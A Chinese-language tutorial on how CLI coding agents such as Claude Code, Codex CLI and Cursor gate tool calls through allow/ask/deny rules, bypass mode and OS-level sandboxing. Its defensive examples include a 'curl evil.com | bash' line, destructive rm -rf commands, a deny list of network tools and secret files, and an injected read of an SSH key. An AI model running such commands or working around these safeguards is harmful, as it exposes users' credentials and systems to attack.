CLI Agent 权限模型与 sandbox 边界

CLI Agent 权限模型与 sandbox 边界

基础概念

CLI Agent 之所以让人又爱又怕，本质上就一句话：它能在你的真实终端里跑命令、改文件、发网络请求。一个写错的 rm -rf 或者一段被诱导出来的 curl evil.com | bash，造成的损失是 IDE 插件的几十倍。所以从 Claude Code 0.x 开始，所有主流终端 Agent 都把"权限模型"放在了第一位——它决定了 Agent 在什么时候可以闷头干、什么时候必须停下来问你、什么时候直接被拒绝。

权限模型要回答三个问题：

• 谁来询问？ 是 CLI 进程本身，不是模型，也不是后端。模型只负责决定"我想调哪个工具、参数是什么"，真正决定"这个调用要不要放行"的是 Claude Code / Codex CLI 跑在你电脑上的那个进程。
• 询问的是什么？ 不是"模型的输出对不对"，而是"这个具体的工具调用——读哪个文件、跑哪条 bash、发到哪个域名——能不能执行"。
• 为什么默认要问？ 因为模型是不可信输入的下游：你打开的网页、cat 出来的 issue、克隆下来的仓库，里面任何一段文字都可能藏着 prompt injection。让用户在关键动作前点一下，相当于给整条链路加了一道人工 checkpoint。

Claude Code 官方把这套设计叫做 "strict read-only by default"：默认状态下读取文件、grep、glob 这类只读操作不询问；一旦涉及写文件、跑 bash、发网络请求，就必须显式批准。这是 Claude Code、Codex CLI、Cursor Agent 都共享的基线。

三层正交边界

要理解为什么"光配 permissions 不够、还得开 sandbox"，先记住这三层是正交的、可叠加的：

很多人把 permissions 当 sandbox 用，其实差得很远——permissions 拦的是"Claude 自己想调的工具"，拦不住"Claude 调起来的 bash 又 fork 出来的子进程"。后者只能靠 OS 级的 sandbox。

权限决策流程

下面这张图是 Claude Code 每次工具调用都会走一遍的流程，理解它就理解了 90% 的"为什么我配了 allow 它还在问/为什么 deny 不生效"：

记住三条规则：

1. deny > ask > allow，第一个匹配的规则赢，所以写 deny 永远比写 allow 更稳。
2. Hook 可以推翻 allow，但推翻不了 deny——hook 退出码 2 能拦下白名单里的命令，反过来 hook 说"放行"也救不了被 deny 命中的命令。
3. bypassPermissions 仍然保留少数硬保护：写 .git、.claude、.vscode、.idea、.husky 这几个目录依然会弹确认；rm -rf / 之类指向系统关键路径的命令也仍会拦。这是官方刻意留的最后一道防线。

基础用法

settings.json 里的 permissions 块

最常用的就是 allow / ask / deny 三个数组，外加 defaultMode 和 additionalDirectories。下面是一份典型的项目 .claude/settings.json：

{
  "$schema": "https://json.schemastore.org/claude-code-settings.json",
  "permissions": {
    "allow": [
      "Bash(npm run lint)",
      "Bash(npm run test:*)",
      "Bash(git status)",
      "Bash(git diff:*)",
      "Bash(git log:*)",
      "Read(~/.zshrc)"
    ],
    "ask": [
      "Bash(git push:*)",
      "Bash(git commit:*)"
    ],
    "deny": [
      "Bash(curl:*)",
      "Bash(wget:*)",
      "Bash(rm -rf /:*)",
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "WebFetch(domain:internal.company.com)"
    ],
    "additionalDirectories": ["../shared-lib"],
    "defaultMode": "default"
  }
}

逐段拆开看：

• Bash(npm run test:*)：:* 是官方推荐的"前缀通配"写法，等价于 Bash(npm run test *)（注意空格）。它强制要求 test 后面要么是空格要么是行尾，所以能匹配 npm run test、npm run test:unit，不会误中 npm run testing-deprecated。
• Bash(git diff:*)：同理，匹配所有 git diff 开头的命令，但不会被 git difftool-and-something 蒙混过关。
• Read(./.env) 走 deny：注意 Read 规则只能拦 Claude 自己用的 Read 工具，拦不住 cat .env。要从 OS 层真的禁掉，得开 sandbox。
• additionalDirectories 把工作目录之外的路径也纳入 Claude 的"可读可编辑"领地，但不会因此加载那个目录下的 .claude/settings.json，它只扩展文件访问。

文件路径模式是 gitignore 风格，且有四种前缀，互相之间差别很大：

最容易踩的坑：/Users/alice/file 不是绝对路径，是项目根下的 Users/alice/file。绝对路径要写两个斜杠 //Users/alice/file。

Settings 优先级与作用域

Claude Code 在启动时按以下顺序合并配置，高优先级覆盖低优先级，但数组类字段（allow/ask/deny）是 merge 而不是 replace：

1. Managed settings（企业管控，最高，谁也覆盖不了）
2. Command line arguments（--allowedTools / --disallowedTools）
3. .claude/settings.local.json（项目本地，gitignore）
4. .claude/settings.json（项目共享，提交进 git）
5. ~/.claude/settings.json（用户全局，最低）

所以"团队共用 deny + 个人加 allow"是合法的——只要团队 settings 里没把它 deny 死，个人就能在 local 里追加 allow。但反过来，deny 在任何一层出现都会生效，谁都救不回来。

--dangerously-skip-permissions 的真实行为

命令行加这个标志（或在交互模式下进入 bypassPermissions 模式），等价于把 defaultMode 设成 bypassPermissions。它的真实效果是：

✅ 跳过：所有 ask 提示、所有"first-time use"的提示、bash 网络命令的默认 deny（curl/wget）、文件编辑的逐次确认。

❌ 不跳过：

1. settings.json 里显式写在 deny 数组的规则（依然拦截）。
2. 写入 .git、.claude、.vscode、.idea、.husky 这几个目录（仍弹确认，防止你的 git 仓库被改坏）。
3. 指向系统关键路径的 rm / rmdir（指向 /、$HOME 仍弹）。
4. PreToolUse hook 退出 2 的强制阻断。
5. 企业管控里 disableBypassPermissionsMode: "disable" 的禁用——直接连 --dangerously-skip-permissions 这个标志都启动失败。

CI 场景下推荐写法（注意要配合容器或 sandbox）：

# 在 GitHub Actions / GitLab CI 的 step 里
docker run --rm \
  -v "$PWD:/workspace" -w /workspace \
  -e ANTHROPIC_API_KEY \
  --network none \
  anthropic/claude-code:latest \
  claude --dangerously-skip-permissions \
         -p "Run npm test, then summarize failures into report.md"

--network none 是关键：没有它，bypassPermissions 模式下 Claude 仍可以发任意 HTTP 请求。容器加网络隔离是真正的"爆炸半径控制"，permissions 只是第一道。

sandbox：让 deny 真的有 OS 级牙齿

从 Claude Code 1.x 开始，原生支持 /sandbox 命令，底层用 macOS Seatbelt 或 Linux bubblewrap 强制执行边界。开了之后，所有 bash 子进程都会被 OS 级别地限制在指定的可写目录和可达域名内：

{
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "allowWrite": ["./", "~/.kube"],
      "denyRead": ["~/.ssh", "~/.aws"]
    },
    "network": {
      "allowedDomains": [
        "registry.npmjs.org",
        "api.github.com",
        "*.anthropic.com"
      ]
    }
  }
}

跟 permissions 的关键区别：sandbox 是 OS 级的，连 kubectl、terraform、npm 这些子进程都会继承同样的边界。哪怕模型被 prompt injection 诱导跑了 cat ~/.ssh/id_rsa，OS 层也会直接拒绝读取。

同类工具对比

核心区别一句话：Claude Code 是"工具白名单 + OS sandbox"双层架构，颗粒度最细、可管控性最强；Codex CLI 用三档 sandbox 简化心智模型；Cursor 把权限当 UX 细节藏在 IDE 里。

常见误区

优劣势分析

思考题

参考资料

1. Claude Code 权限官方文档：https://code.claude.com/docs/en/permissions（查询日期 2026-04-22）
2. Claude Code 安全模型：https://code.claude.com/docs/en/security（查询日期 2026-04-22）
3. Claude Code Settings 完整字段：https://code.claude.com/docs/en/settings（查询日期 2026-04-22）
4. Claude Code Sandboxing（Seatbelt / bubblewrap 实现）：https://code.claude.com/docs/en/sandboxing（查询日期 2026-04-22）
5. Claude Code Devcontainer 参考实现：https://code.claude.com/docs/en/devcontainer（查询日期 2026-04-22）
6. OpenAI Codex CLI Sandboxing：https://developers.openai.com/codex/concepts/sandboxing（查询日期 2026-04-22）
7. OpenAI Codex Agent Approvals & Security：https://developers.openai.com/codex/agent-approvals-security（查询日期 2026-04-22）
8. Cursor 社区关于 YOLO 模式 allowlist 被绕过的报告：https://forum.cursor.com/t/command-allowlist-is-silently-ignored-when-auto-run-in-sandbox-is-enabled/152136（查询日期 2026-04-22）
9. The Register: Cursor AI safeguards bypassed in YOLO mode：https://www.theregister.com/2025/07/21/cursor_ai_safeguards_easily_bypassed/（查询日期 2026-04-22）
10. anthropic-experimental/sandbox-runtime（开源 sandbox 运行时）：https://github.com/anthropic-experimental/sandbox-runtime（查询日期 2026-04-22）